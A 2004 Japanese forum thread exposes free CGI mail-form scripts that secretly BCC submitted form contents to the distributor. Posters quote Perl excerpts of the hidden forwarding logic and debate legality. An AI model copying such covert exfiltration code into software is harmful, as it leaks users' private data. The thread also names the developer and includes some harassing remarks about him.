【盗聴】web-up.cside.biz【個人情報詐取】2

フリー配布のCGIスクリプトに個人情報詐取プログラムが組み込まれているのがこの度分かった。
このメール送信CGIには配布元のメールアドレス（[email protected] ，
[email protected]）に同送信内容のメールが送られるように細工されており、
メール送信内容入力画面にはアクセス解析用の画像まで埋め込まれている。
この為メール送信CGIを直接利用しない第三者の個人情報まで詐取が可能となっている。

現行法の中でももちろん違法行為であるのだが、
無論この事はCGIスクリプト配布の際には個人情報詐取は伏せられており、
今後施行される個人情報保護法のあり方についても一石を投じる事になりそうだ。
http://pc5.2ch.net/test/read.cgi/php/1077525387/219-

---

from YahooBB219032198004.bbtec.net 219.32.198.4

2

今なら余裕で取れる２

４

落ちちゃったの？？？？

前スレ、もう読めないのか

ほしゅ

保守

保守

タ━━||Φ|(|´|Д|`|)|Φ||━━イホ
まだかな♪(・ ・。)(。・ ・)まだかな♪

ふぅ

前スレどこまで進んでたんだろ

age

　

犯罪者age

悪質だなｗｗｗ

抗議 age

悪質業者晒しage

こりゃﾏｼﾞで大変だ・・・
このｽﾚ保存age

ほしゅ

久々に祭りか？？

このｽﾚだけはsageんぞ

事態が収まるまで保守age

ｽﾚが38個しかねーぞ（；´Д｀）

保守

((((；ﾟДﾟ)))ｶﾞｸｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙﾌﾞﾙ

保守

保持できるかな（；´Д｀）

なんか思ったほど伸びてないね

保守

age

あげ

保守

やっと糞スレ乱立終わったか。age

bizってどこのドメインよ？

乙age

え、なんかヤバイかな

スレが落ちまくってるな

えー、前スレ落ちちゃったの？
誰かまとめてサイト作って。

>>1乙

保守

28 名前： 番組の途中ですが名無しです 投稿日： 04/06/12 01:46 ID:hj5SUJ6Z
住所、氏名、電話番号、クレジットカード番号、メール内容、全て筒抜けのスクリプトはこれだ！

Calc-Mail（ttp://web-up.cside.biz/calc-mail.shtml）
Hi-Mail（ttp://web-up.cside.biz/hi-mail.shtml）
Hi-Mail-MC(Multi Config)（ttp://web-up.cside.biz/hi-mail-mc.shtml）
Num-Mail（ttp://web-up.cside.biz/num-mail.shtml）

42 名前： 番組の途中ですが名無しです 投稿日： 04/06/12 01:55 ID:2NwdOCGW
サイト運営者
会社名 Net-BP
住所 札幌市東区東苗穂1条X丁目X番
Tel/Fax 011-XXX-XXXX
URL http://web-up.cside.biz
Mail [email protected]
特技 耳を片方づつ自在に動かせること
何かの役に立ったことなし（笑）
こんにちは、Net-BP代表：田久保と申します。
SOHOや中小企業のサイト運営・WEBマーケティングに役立つ
アイデアと工夫を詰め込んだCGIプログラムをご提供しています！

よくわかんねーーーー

むちゃくちゃだなぁ

170 名前： 番組の途中ですが名無しです 投稿日： 04/06/12 02:38 ID:6kY8A7C7
>>129
管理者アドレスはconf.datで管理してるのにbccはソース直だしな。
メール本文の最後に書かれる著作権表示を消した場合は
それ専用のメアドに送信するので100%故意だわな。
文面送らなければまあいいかなとも思うけど。
著作権表示消さなくてもデフォで送るあたりは最悪だな。


自分もよくわからんので・・・
ｷﾞｺﾅﾋﾞの前スレdatファイルならあるけど、必要な人いる？
どっかうｐローだあればあげてみるよ

>SOHOや中小企業のサイト運営・WEBマーケティングに役立つ
>アイデアと工夫を詰め込んだCGIプログラムをご提供しています！

犯罪に役立ったみたいだな（藁

とりあえずageときますね

謝罪してるね

THE　AGE

AGE

【盗聴】web-up.cside.biz【個人情報詐取】
http://news12.2ch.net/test/read.cgi/news/1086971546/l50 （前スレ）


【盗聴】web-up.cside.biz【個人情報詐取】
http://ex5.2ch.net/test/read.cgi/net/1086965756/l50　（ｦﾁ）
http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/l50　（祭）

450 名前：番組の途中ですが名無しです 投稿日：04/06/12 05:05 ID:yZwKH/l8
http://tool-ya.ddo.jp/2ch/trash-box/contents.jsp?file=20040612050404695.zip

一応スクリプトだけ貼っておく。

メルマガ
ttp://backno.mag2.com/reader/Back?id=0000125230

今日のチャット延期だってさ

逃げたな

乱立はこれがげいいん？（変換できない
餃子の方？

610番組の途中ですが名無しです04/06/12 12:47 ID:zUlpyDrk2063
　$stat = 1;
2110　if($stat){$bcc = '[email protected];'.$bcc;}（2060がtrueだと作者のアドレスが）

つねにstatはtrueだよ。 calcのほうは、全て送信されるということだろう


621番組の途中ですが名無しです04/06/12 13:24 ID:zUlpyDrk
>>619
要するに、ショッピング(calcなんちゃら)に使うやつは常に駄々漏れ。
Num-Mailは、著作権変えたときとかだけ。



−−−−−−−−−−−−−−−−−−−−−−−−−−
クレカなど重要な情報を扱うショッピングカートは
一回目だけでなく、　　常　　に　　BCC送信だそうだ。
利用規約違反行為検出の為なんて、言い逃れは出来ないね。

おいおい、ちょっと目を離すと落ちちゃうな。
定期age

http://up.nm78.com/data/up026137.jpg

突然ですが、ありがとうございます！age

保守ａｇｅ

前ｽﾚでソース読んでた者だけど、お祭りにはなりにくいよ。
>>54は間違い。そのロジックに入る条件は、やはり最初の1通の時だから。
やっぱ実際に利用してる人間が騒がないと。

>>59
そうなの？前スレでショッピングカートのみは
ﾀﾞﾀﾞ漏れって書いてあったけど。
詳しくないからワカラン。

>>59
ちゃんとソース嫁

あげ

まん

突然ですが、あげます

>>61
calcのソース抜粋。
if(!open(TEMP,"$temp_file")){&error('一時ファイルが開けませんでした');}
@LIST = <TEMP>;
close(TEMP);

if($LIST[1] eq ''){

$LIST[1] = time;
$stat = 1;

これ見て常に$statが1という奴は池沼。

どーゆうことなのかな？

>>56
なんだよその不自然な下半身は。

こんな時こそ兇徒不敬だろ

つまり　クレカでウェブ通販はやめた方がいい　てことなン

web-upのcgiは使うなってことだろ

まとめつくってもいーよー

すげーな　
とことん追跡のためのつまらないロジックがしかけられている感じだな
メール以外にも画像CGIで自身のアドレスをweb-up.csize.bizに送ったりしてる

あげ。

>71
よろage

>>71
よろ〜

ageageみんな嫁

お・・東苗穂か・・近いぞ。
また道民かよ・・・＿|￣|○

いまいち盛り上がらないね。
Ν速にはむずかちいんじゃないでちゅか？

>>71
おながいします

nyのキンタマみたいでｺﾜｲね・・・

後は業者側からの反応待ち？

こいつは業界から抹殺すべきだな。
それくらい重罪。

偽IT関連小遣い稼ぎ業界？

まとめマダー?

田久保ﾀﾝへ

ttp://web-up.cside.biz/num-mail_sumple.htm
sUmpleはイタイから直したほうがいいと思います。

お詫びのお知らせ

当サイトで配布しているメールフォームCGIにおいて、不正利用防止を目的とし、
CGIの初回設置時及びスクリプト利用規約違反行為検出時に弊社宛に
BCCメールを送信するロジックがございましたが、利用者様の個人情報保護の観点から
当該プログラム部分を削除させていただき、あらためて配布を再開させていただきたいと思います。

皆様方にはご迷惑をおかけいたしまして、誠に申し訳ございませんでした。
心より深くお詫び申し上げます。

今後ともよろしくお願い申し上げます。

Net-BP：田久保　圭司

----------------------------
もう終わり？

http://tubochan2.client.jp

おくれてごめんよ

>>87
おお！乙

スクリプトのどこが問題か
画像とか使って、分かりやすくしてあるといいかも。

>>65
やーれやれ。hi-mail見ろよ

>>87
激しく乙！

>>89
hi-mailも同様だね。
$send_admin=1でtemp_fileが空の場合にstart@へbcc。

一回だから許されるってか？

>>92
そうじゃないと思うが、この盛り下がりからしても、結局外野が騒いだところで意味なし。
導入してる人が出てくればいいんだけどね。

>>43
その170は俺が書いた気がするけどなんで晒されてんの？

>>91
祭りにのりおくれたんで良く分からんのだが、>>65のスクリプトを見る限り判断が着かん。
’｝’がどこで使われているかで、構文が変わるんだが。
>>65のスクリプトだけだったら、常にtrueにリセットされるぞ。

もりあがんねぇぇぇぇえええええーーーー

>>93
だけど、導入してる人が気が付かなかったら
パッチを当てることも無いわけで。
ググって調べるにも限界があるから

別に祭りにならなくても、まとめサイトが
少しでも世に広まるといいなと思うよ。

>>95
>>50にスクリプトあるよ。

>>94
あ、それ前スレが糞スレ乱立で流れてしまったから
前スレで長くて、なんか内容がありそうなレスを引っ張ってきただけ

なんせ、自分は理解不能な内容だったから
あ、これ使えそうと感じたから持ってきただけでございます
お代官様

>>93
何度でも書くが、スクリプト使用者にこそ個人情報漏洩の直接的責任があるから
とりあえずは出てこないだろ。出てきて自分の不手際を認めて後始末をして、
そのあと悪質なトラップを仕込んだスクリプト作者を追い込んでくれるなら
まさに神なんだが。
つか、スクリプトをそのまま使うような安直いい加減なﾔｼらにゃ無理だべ。

http://tubochan2.client.jp/

更新してみますた(￣ー￣)ﾆﾔﾘｯ

>>100
とりあえず、経緯をまとめてよ
使ってるサイトのリンクとかも
乙

>>100
乙！

パッチもDL出来るようにするといいかも
前スレ376の
http://v.isp.2ch.net/up/43a70f4a5c90.cgi
http://up.isp.2ch.net/up/ef58245ea9d3.cgi

>>100
乙！

ソース解析したけど、
900〜902行でオープンしているファイルは初期状態は空だから、
必ず１回は[email protected]へ送信しているな。

>>99
>つか、スクリプトをそのまま使うような安直いい加減なﾔｼらにゃ無理だべ。

設定ファイルを設定するだけでなくスクリプトを読んでトラップを見つけろと?

>>100
乙。さっき見たときは何も無くて釣られたかと思った。w
ご自身が著作権とか名誉毀損とか業務妨害とかでクレームをつけられないよう
注意しながら問題点を明らかにしていってください。よろ。

>>104
真実と問題点しかかかないつもりですよん。

スクリプト読めるんなら自分で作るわなｗ

専用の板で盛り上げたほうがいいんじゃない。たぶん。
今の状況じゃ、立てては落ちるの繰り返しだ罠。
だけど、相手逃げ打ってるから厳しいかな。

それでも問題点はあるなあ

・なぜbccで送るのか。
・個人的なアクセス解析をつけてるのはなぜ？
・なんでstartメールを送られるの？

っていう。

>>108
誰かBBSで本人に質問してみてくれ。

>>95
if(time - $TEMP[3] < $wait){
(二重投稿の処理)
} else {
my $time = time;
$LIST[0] = "$mailto<>$ua<>$host<>$time\n";
if(!open(TEMP,">$temp_file")){&error('一時ファイルが開けませんでした');}
print TEMP @LIST;
close(TEMP);
}

デフォルトでは temp.dat に前の書き込みのアクセス元情報を二行書き込む
ので二回目以降は送信されない。

$sendmail の所にログ取りスクリプト入れて実際に試してみたけど確かに
Bcc は初回だけだね。

ふじやまなおみage

結局、シェアのCGIは配布終了したの?




終了したなら、神よ!!
まとめてUPしてくれない?

HPのセールストークとは裏腹に
「実在の人間」が必要だと
感じてしまった。

>>110
95です。
サンクス。了解です。

作者は、信用を無くしたなこりゃ。
しかしね。
問題は残るとは思うけれど、危険性を警戒せずにアンチョコに出来合のソフト使った香具師の責任もあると思うよ。
第一、ウェブメール系のフォームなんかログ残りっぱなしだよ。
例え消した積りでも、鯖側ではログが残っている可能性があるとユーザは警戒しないのか？
その点からいえば、フォーム使ってメールを送ったユーザも自己責任があると思う。

>>106 そりゃそうだ

>>108
一見擁護発言を繰り返してますが、作者じゃありませんのよ。w

>・なぜbccで送るのか。
メンテ用のやり取りをユーザに見せる必要は無い。混乱するだけ。
ウェブブラウザだってがユーザに見えないところでサーバといろいろやりとりしてる。

>・個人的なアクセス解析をつけてるのはなぜ？
どこのサーバでスクリプトが動作してるのか管理したかったんじゃないの?
スクリプト自身が、自分が動いてるサーバ名を送ればよさそうなものだけど、
サーバに記録が残るからこっそりと管理するのには向かないんじゃないかな。

>・なんでstartメールを送られるの？
これも基本的には動作開始の管理のためじゃないの?

まあ、純粋にライセンス管理がやりたかったなら、もう少し考えても
よかった気はするけどね。

で、今日ON会あったの？

こんなことを言うのもアレですが、
2ｃｈに古来より伝わるお約束と言いましょうか、
必ずと言っていいほど言われてきたこの言葉を贈ります。


　　　「　本　人　乙　！　」

>>117
http://backno.mag2.com/reader/Back?id=0000125230

>>119
蟻蛾�d

ヘタレ逃げやがったか・・

v1.04のところをVersion1.04とか改変しても
自動的に通報・・ではなく
メールの中身ごとコピーされるわけだ・・('A`)

前スレで解析済みのことまたやってるし。

どうやったら盛り上がるんだろうね、これ。

このスレに足りないものを教えてやろう。
それはエロだ。エロが無ければ始まらない。全てはエロに始まり、エロに終わる。

>>123
ttp://atpc.cside9.com/d.c.p/gazou/takubo.jpg
面も割れてるし、ｦﾁ板のｽﾚも休眠したぽ。
ﾀｸｰﾎﾞﾀｿが個人情報を悪用した事実があったら別だと思われ。
ﾜﾘｰｺﾄするには、ﾀｸｰﾎﾞﾀｿが無防備杉ｗ

みんな、タイーホされるまでガンガレ！！
何とかタイーホに持っていこうぜ！

>>114
サーバーのログを一緒にされてもな〜

http://backno.mag2.com/reader/Back?id=0000125230
このメルマガ読んだ？
いろんなサイトで分かりやすいと絶賛され紹介されてる。
初心者に一から教えているんだが
良い点ばかりで問題点には触れていない
CGIならあんなこともこんなこともイロイロできる！
と教えられた一般人に、警戒心なんてないよ。
ましてや、そのメルマガの作者なんだから。

超初心者の為のCGI設置講座インストラクターって事は利用者が仕込みに気づく可能性は低いと思ってたわけだよな

>>116
主な目的はライセンス管理だろうけど
そのための手法としてBCCでメール送信ってのがなんだかな。
おまけ程度に盗聴の趣味もありそう。

前スレでも書いたけどライセンス管理だけが目的ならBCCで人のメールをこっそり送ったりせずに
専用のメールを別に送信すればいい。

そもそもアクセス解析だのBCCだのライセンスだの
ソース公開しておいて(Perlだから当然だけど)頑なに著作権主張する奴はかっこ悪い。

>>127
95です。

> サーバーのログを一緒にされてもな〜
そりゃそうだ。
スクリプト作製の担当者の所へ逝く危険性と鯖管理者の手元に残る危険性は意味合いが違う。ｽﾏｿ
結果的には、どっちも危険だよ。。。

> CGIならあんなこともこんなこともイロイロできる！
> と教えられた一般人に、警戒心なんてないよ。

読んだよ。
一般人には酷かも知れないが、俺はそれでも警戒心を持つべきだと思っている。
ただ、一般人をバカにした遣り口も俺は気に食わない（こっちの気持が強いよ）。

で、結局どんな条件下で送信されるの？hi-mailとnum-mail

>>131
num-mailしか見てないけど
tempファイルが作られていないとき（=意図的にそのファイルを削除しなければ初回のみ）
著作権表示を消したとき。（正確には「Web-UP」か「Num-Mail v1.04」の部分を削除したり変更したとき）

であってると思う

>>132
�d。
俺は今calc-mail見てる。
間違ってたらスマソだけど、
calc-mailは最初の時のみ送信じゃないん？

hi-mailもnum-mailも初回時だけの希ガス...

どちらも初回だけ…かな？

朝には落ちてしまいそうな勢いだねage

よーわからんがヤバイんだよな

＞１を見て頒布元はいかにもハイレベルなソース頒布してるのかと思ったら
こんなレベルかよ・・・・。
しかもこれでシェアで売ってしかも情報までゲットしようという考えにﾜﾛﾀ。

モラルも技術も低レベルなんだな。

とりあえず保守age

age

作者BBSの「送信」ボタンがグレーアウトしていて投稿できないのですが。
初心者の私に投稿方法を教えてください。ログとるような人は、メールだと怖いので。。。

煮えきらんままに終わりそう…
作者がもっとDQNっぷりを発揮して逆ギレでもすればよかったのに。

殺伐としたこのスレにﾍｰﾍﾞﾙﾊｳｽが！！

　　　　　　 /|
　　　　　　 |/＿＿
　　　　　　 ヽ| l　l│＜ﾊｰｲ
　　　　　　　┷┷┷

突然ですが、おめでとうございます！

age

>>141
無料メール取得して、ブラウザから送ったら？
ユーザーさん？

余裕でIP埋め込まれるっつの
釣り？

>>142
今回は、作者がＤＱＮ過ぎた気がするんだが。
祭にするには、物足りない。

>>141
一般論として、本当に危ない相手ならメールのほうが格段に安全だと思うけど。

>>147
その辺は何とでもできるでしょ。

素朴な疑問なんだけどさ、
他人が作ったcgi設置するときって中身きちんと読んでから使うのが当然だよな？
まさかとは思うんだけど、こういうのに引っかかる奴って内容理解しないで使ってんの？

>>150
すまん、漏れはOSもアプリもソース読まずに使ってる。
問題があれば誰か気がつくだろうと任せてる。(´Д｀;)

>>147
埋め込まれないとこもありますよん。

age

保守

http://web-up.cside.biz/
お詫びのお知らせ

当サイトで配布しているメールフォームCGIにおいて、
不正利用防止を目的とし、CGIの初回設置時及びスクリプト利用規約
違反行為検出時に弊社宛にBCCメールを送信するロジックがございましたが、
利用者様の個人情報保護の観点から当該プログラム部分を削除させて
いただき、あらためて配布を再開させていただきたいと思います。

詳しくは、こちらをご覧いただければと存じます。

皆様方にはご迷惑をおかけいたしまして、誠に申し訳ございませんでした。
心より深くお詫び申し上げます。

今後ともよろしくお願い申し上げます。

Net-BP：田久保　圭司

>>155
これで何もお咎めなしなんだったらやったもん勝ちだな。

>>157
道義上問題があることは漏れも同意するが、あおりでも本人でもなく、
今回の事件が何の法令に抵触するのか分からないんだが。
>>1にも
>現行法の中でももちろん違法行為であるのだが、
と書いてあるので、何らかの法令に違反しているんだろうけど。
知識が足りない漏れにぜひ教えてくれ。

＞利用者様の個人情報保護の観点から

さんざ収集しといて「保護の観点」と来たか
こいつ本気で頭悪そう
これで逃げ切れると思ってんのかな

>>156
信用が落ちて顧客が離反すれば十分にペナルティとなると思うが。

#大昔、某フォートランコンパイラにコンパイルしたファイル名をコンパイラ
#ベンダに送るルーチンが仕込んであったのが発覚した事件を思い出す。
#一部でボイコット運動が起こった。どう決着をつけたのかは忘れた。

ttp://web-up.cside.biz/owabi.shtml
今まで集めた内容についてはさっぱり説明してないな。
メールはやめるけど、webbugは今後も続けるのかも。

>>157
民事上の不法行為ぐらいかなー。

perlでこういった不正防止を組み込むなんて無理だろｗ
しかもBccで通報なんてアホすぎ。

こういったアホが出てくる度に言われるのが、フリーソフトウェア全体への
影響が出てくるからヤメレって事だよね。

>不正利用防止を目的とし、CGIの初回設置時及び
>スクリプト利用規約違反行為検出時に弊社宛に
>BCCメールを送信するロジックがございましたが

正規利用者(お金払っている)も対象に成ってる事は
明かに狙ってるよね、お金払って利用してたら、
個人情報を抜かれてるとは誰も思わないと思う・・・悪質だな!!

>160
メール以外のスクリプトにも仕掛けあったんだっけ？

集めた個人情報はいったい何に使ったの〜ﾀｸﾎﾞﾀﾝ

>>160
民法
第七百九条 　故意又ハ過失ニ因リテ他人ノ権利ヲ侵害シタル者ハ之ニ因リテ生シタル損害ヲ賠償スル責ニ任ス

ttp://law.e-gov.go.jp/htmldata/M29/M29HO089.html#1000000000000000000000000000000000000000000000070900000000000000000000000000000

これ? 構成要件とか素人には全然わかんないな。
今回の事件に当てはめるとして、侵害された権利って何だろう？

スクリプト使用者は意図せずメールを送信させられた者から損害賠償を
請求される可能性があると思うけど(ここも情報の出所はスクリプト使用者側
ではなくメール送信者自身だから無条件に認められるかどうか疑問だが)、
スクリプト配布者は使用者が支払った賠償金を請求される可能性があると
考えてもいいのかな?
スクリプト使用者の信用が落ちたとかバカが暴露されたとかそういう
部分に対する賠償も請求される可能性があるのかな?

いずれにせよ、何の権利を侵害したのか根拠がよくわからないけど。

ソフト不正使用の対抗としてWinGrooveとFileVisorがロジックボム入れてたな
今回は個人情報の不正取得

>>54を見るとクレカ情報も取得してるみたいだから明らかに犯罪じゃないのか？
このcgiプログラムを使用している業者に対して、個人情報管理の不備で損害賠償請求する人も出たりしてな

>>165
検証された結果、>>54は間違いで
これもtempが無い時のみだそうだけどね。

どちらにしてもクレカなどを扱い、セキュリティが高くなければならないモノを
意図的に漏らしてるのを知ったら、自分の店でやられたら訴えるかも。
ﾀｸﾎﾞんﾄｺだけでなく、スクリプトを使っていた店の信用を落とされたも同然だし。

メールで聞いてみようかな

>>164
作者こんなところで情報収集とは必死だなｗ


と、煽ってageてみる

>>168
この週末で5回くらい作者呼ばわり(失礼)された。w

闇討ち同然で変なルーチンを組み込むことは糾弾すべきだけど、
犯罪にあたらないのに犯罪者呼ばわりすることこそ
犯罪(名誉毀損、信用既存及び業務妨害など)になりかねないから、
足場を固めてるのよ。

もし犯罪じゃなければ、>>1とか、かなーりやばいんじゃないの? w

別にやばくない

>2000年6月には音楽配信サービスを行なう「リキッドオーディオ・ジャパン」の役員が
>同社を退職後、在職中に入手した他の役員のIDとパスワードを使って他人のメールを覗いていたことが発覚し、
>不正アクセス禁止法で逮捕されるという事件が起こっている。
ttp://www.aerovision.jp/protect/0403.html

>ＰＣからは、少しの知識があれば他人のメールを覗けるが、これも勿論犯罪であり、逮捕例もある。
ttp://www.uwasa.tv/archives/000036.html

>東京都調布市飛田給、高千穂大（東京）事務職員、N・R（ 男４７）を不正アクセス禁止法違反容疑で逮捕した。

>昨年１０月６日から１２月２日の間、自宅などから１００回以上にわたり、
>同大のコンピューターに不正にアクセスし、掲示板の講義情報などを削除したり、
>他人のメールを盗み見したりしていたという。
ttp://www3.tky.3web.ne.jp/~rapeed/


同じ他人のメールを覗いた……でも
覗き方法がスクリプトってだけで、今回の場合は扱いが変わってしまうのかね？

>>170
>別にやばくない

刑法
|（名誉毀損）
|第二百三十条 　公然と事実を摘示し、人の名誉を毀損した者は、
|その事実の有無にかかわらず、三年以下の懲役若しくは禁錮又は
|五十万円以下の罰金に処する。

|（信用毀損及び業務妨害）
|第二百三十三条 　虚偽の風説を流布し、又は偽計を用いて、
|人の信用を毀損し、又はその業務を妨害した者は、三年以下の懲役
|又は五十万円以下の罰金に処する。

>>1
>現行法の中でももちろん違法行為であるのだが、

信用毀損のほうは本当に違法行為なら虚偽の風説じゃないし、
名誉毀損のほうも事実が存在してかつ公益目的なら罰せられないけどねえ。

たしかに親告罪だから彼の人がアクションを起こさない限り大丈夫だけどね。

それとも、>>1は、例えば無線LANとか使って他人のグローバルIPから
スレたてしたから、たとえ告訴されても捕まる心配は無いとかいう主張ですか? w

>>171
Bcc: とはいえ、スクリプト作者が正当な受取人だったわけでしょ?
知らないところで送らせたことは大問題だけど
(これすら直接的にはスクリプト使用者がやったこと)、
メールを見ること自体には文句がつけられないように思えるけど。

>>173

> メールを見ること自体には文句がつけられないように思えるけど。

おまい、ｶﾅｰﾘ逝かれているぞ。自覚症状はあるのか？
メールは公開情報じゃないんだぞ！

>>174
過程はどうあれ、自分のところに届いたメール見ちゃいけないの?
ワームが送りつけてきた無関係の人のメールを見たら電気通信事業法
違反になるという主張ですか?

ほぅ、あれはﾜｰﾑでありますか(･∀･)

>>175
この場合、明らかに”故意”だろうよ。
スパム云々とは、次元が異なる。

作者は故意にワームを販売していたということでFAですか？

バカには今回の祭りは難しいよ
的外れの思い込みが多すぎ

>>178
俺は、ウェブメール型スパイウェアだと思っている。
メールの中身まで見てしまうスパイウェア。

普通に「通信の秘密」という権利に反しているだろ。

>>177
スパムじゃなくて、大量メール送信型ワームとかに感染したPCからのメールね。
ワームの種類によっては、HDDの中の適当なファイルを添付して適当なアドレスに
送りまくる。プライバシーの侵害もいいとこだけど、メールを見るほうにとって、
そういうメールを見るのと形式的にどこが違うのか、と言っている。
ワームをばら撒くことが犯罪だというのとは別の問題じゃない?

>>178
自己増殖しないからワームとは呼びがたいけど、勝手にメールを送らせることがある
ソフトを頒布していたのは事実なんでしょ? (弱気に疑問形 w)

問題はここに違法性があるかどうかだけどねえ。

自分とこに送るように仕込んでるんだろ

俺が使ってたらこの作者のところへ乗り込んでいって
あらゆる記録媒体を全て破壊するぐらいのことはするかも。
てかメール盗まれた奴そんくらいやってもいいんじゃないの

誰か通報した？

http://ex5.2ch.net/test/read.cgi/net/1086965756/120
でますた。。。

経済雑誌とかSOHOやウェブショップ向けの雑誌作ってる出版社に通報するとか

>>157
公法としては、電気通信事業法の検閲の禁止に該当する可能性がある
（３条、４条、１０４条２項。場合によっては同条２項）

シェアウェアでもやってるなら（やってるの？　ログ読んでないｽﾏｿ）
詐欺罪に該当する可能性もある。

>>164
不法行為は容易に立証できると思う。
プライバシー権でもいいし、情報漏洩の損害でもいいし、
説明義務違反でもとれる（これは有償じゃないと辛いだろうが）

>>172
名誉毀損罪と、真実性の証明（２３０条の２）は区別すべし。
例え、真実の摘示であっても（かつ、公益目的があっても）名誉毀損罪には該当する。
だから、ﾀｲｰﾎもできる。２３０条の２は、裁判で――つまり、法廷でそれを
証明できれば罰せられない、というだけ。

>>188
（誤）場合によっては同条２項
（正）場合によっては同条１項

法律は知らんが憲法に反する事くらい中卒の俺にも分かる。
民事上の不法行為に当たる事も分かる。
スクリプトが一般に公開されている以上公益性がある事も分かる。

同じくスクリプトを配布している立場だから許せんぞ。
こんな馬鹿がいると皆が皆汚い事してると思われるのかな。。。

一つここに言っておきたい。
こんな馬鹿は極めて稀だ。
ほとんどの人はスパイウェアを仕込むような汚い事はしていない。

>>190
実は、憲法には直接的には反しないのよ。

>>186
ありが�d
見てきたけどよくわかんね
けど悪い子とした香具師は罰を受けるのが筋
罪刑法定主義なんて解釈でどうとでもなるっしょ

>>191
そうなの？
やっぱ俺はただの中卒だわ。ごめんよ。
もっと勉強しておくんだった。

てかこれ完璧にワームスクリプトじゃん

ウィルスその物じゃん

ウィルスばら撒いていいわけねえよな　


スレタイに ウィルス の文字いれるべきだ

>>193
憲法は私人間（しじんかん）について定めたものではないって事でしょ
だからってそれが免罪符にはならないだろ

>>195
勿論、ならん。

過去の悪行リスト
ttp://www.geocities.co.jp/HeartLand-Tachibana/6709/docs/sww2.html

ところで、
>>188
田久保は電気通信事業者なの?

>>197
電気通信事業者に該当するかどうかは不明だけど
電気通信事業従事者には当たると思われ。もちろん、事実次第やけど。

１０４条２項
　電気通信事業に従事する者が前項の行為をしたときは、
３年以下の懲役又は200万円以下の罰金に処する。

２条４項（電気通信事業の定義）
電気通信役務を他人の需要に応ずるために提供する事業
（放送法〔昭和25年法律第132号〕第52条の10第１項に規定する
受託放送役務、有線ラジオ放送業務の運用の規正に関する法律
〔昭和26年法律第135号〕第２条に規定する有線ラジオ放送、
有線放送電話に関する法律〔昭和32年法律第152号〕第２条第１項に
規定する有線放送電話役務、有線テレビジョン放送法〔昭和47年法律第114号〕
第２条第１項に規定する有線テレビジョン放送及び同法第９条の規定による
有線テレビジョン放送施設の使用の承諾に係る事業を除く。）をいう。

>>198
２条３項（電気通信役務の定義）
　電気通信設備を用いて他人の通信を媒介し、その他電気通信設備を他人の通信の用に
供することをいう。

>>199
あ。これらの条項も忘れてた。

２条１項（電気通信の定義）
　有線、無線その他の電磁的方式により、符号、音響又は影像を送り、伝え、又は受けることをいう。

同条２項（電気通信設備の定義）
電気通信を行うための機械、器具、線路その他の電気的設備をいう。

中にはネット取り引き用の口座開設用の申し込みフォーム（住所氏名生年月日必須）として使っていたところもあるみたいだし、
そんなところからクレームとかついたら結構大変じゃん？
不正使用してなければ個人情報は受け取っていませんっていわれても
気持ち悪いし、
顧客からの信用を失ったりとかの理由で損害賠償とか求められたりしない？

>>198
田久保は電気通信事業者でもそれに従事する者でもないんでは?
Webプログラマはみんな電気通信事業者になるわけじゃなかろうて。
そもそも、スクリプトが電気通信設備にはなる? 鯖はなると思うけど。

あと、第３条の検閲は民間人がやっても検閲なの? この条文の
「検閲」は国家権力かそれに類する者がやる場合に限っている気がする。

ところで、第４条（秘密の保護）は電気通信事業者だけに限定される
ものでもなさそうね。たとえば、これ。
ttp://www.security-joho.com/topics/2001/mailnozokimi.htm
裁判で結局どうなったのかわからんが。

>>202
１０４条１項は、電気通信事業者以外も全部含んでいる条文で、
２項は電気通信事業者に限定して罪を重くするって条文。

保守age

よくわかんねぇえぇぇぇぇぇ。
CGIって言われてもなにそれ？なんだけど
そういうヤツはお呼びでない？

いちごびびえすで馬鹿が関係ない雑談でスレを潰そうとしてるんで何とかして下さい
このスレに「関係ない雑談してんじゃねーぞ、壺帰れ」と厳しい一言をお願いします。


http://www.ichigobbs.net/cgi/15bbs/lobby/1984/

お呼びじゃないかもですが
知らないところで個人情報が収集されるかもしれないってことです
死なぬが仏

>205
http://news16.2ch.net/test/read.cgi/dqnplus/1086966502/

死なぬってなんですか？
マジで打ち間違えた
知らぬが仏ですね


　　 ||　　 ⊂⊃
　　 ||　　∧ ∧ 　ﾏｼﾞｶﾖ････
　 　|| 　( 　 ⌒ヽ
　∧||∧　∪　 ﾉ
（　 ⌒ ヽ彡 Ｖ
　∪　　ﾉ　ﾌﾜｰﾘ
　　∪∪

素人で全然ﾜｶﾗﾝので法律板で聞いてきました。
ｶﾞｲｼｭﾂ意見ですが、一応以下の通りと報告。

>344無責任な名無しさんsage04/06/13 18:18 ID:R+Vpr4xH

>実際に通信内容を見ていたならば場合によっては
>電気通信事業法違反。

普通にウイルス配布だから民主党にメールしたらいいんじゃね？

このスクリプト利用している会社に連絡して
個人情報の管理面を厳しく聞く!!

情報を第３者が取得している事を連絡してさ

通報した神はまだ居ないの？

本スクリプトの不正利用防止・設置状況把握を目的として、
本スクリプトから設置先サーバーの情報を収集することがありますが、
利用者はこれに同意したものとします。

不正利用していない人の情報まで・・・
何がしたいの結局さ!!

>>214
配布スクリプトと個人情報を等価交換

対応もつくづく悪質だなぁ。
謝罪も補償も無し。
悪いことやっていると言う自覚がないんだから
ﾀｲｰﾎして教えてあげた方が良いと思うのだが。

>>皆様方にはご迷惑をおかけいたしまして、誠に申し訳ございませんでした。
>>心より深くお詫び申し上げます。
>>
>>今後ともよろしくお願い申し上げます。

謝罪のつもりなんだろ

犯罪者出て来い！

保守

電気通信事業者の届け出してないの？
それでこんな商売していいの？

お詫びと今後の方針について
ttp://web-up.cside.biz/owabi.shtml

田久保君、開き直ったね
僕は悪くないモン、不正利用するヤツが多いからだモン
通じるか、ヴォケ

糞スッレ乱立ほす

はげ

確定申告してんのかねぇ？

>>221 独善的な俺様法なんだろ

糞スレどうにかしてくれ＿|￣|●
保守

保

前にもちょっと書いたんだが、
メール配送の設定でエラーメールを管理者に送るようにしておいたら
電気通信事業法違反になるのか? 実際にエラーメールを読んだらどう?
配送エラーは中継でも起こりうるから、契約関係に無い全くの第三者の
メールを読むこともあると思うんだが。

今回の事件はこれとは違うの? 何か例外規定があるの?

age

エラーメールは元メール本文を含むのか？

この件とメール中継のエラーは別物だろ
中継と言えど鯖の管理は自分のとこでエラーを監視するのは義務みたいなものでしょ
この件は管理外の他人のメール内容を故意に盗み取るようなものなんじゃないか
理屈はどうでもいいけどお咎めなしにはならないんじゃないの？
法的にどうだというのは最終的に裁判官が決める事
屁理屈こねてるようだから、はっきりさせるためにも起訴まで持っていってもらいたいものだ

まあ、覗き趣味があるのは間違いなさそうだな

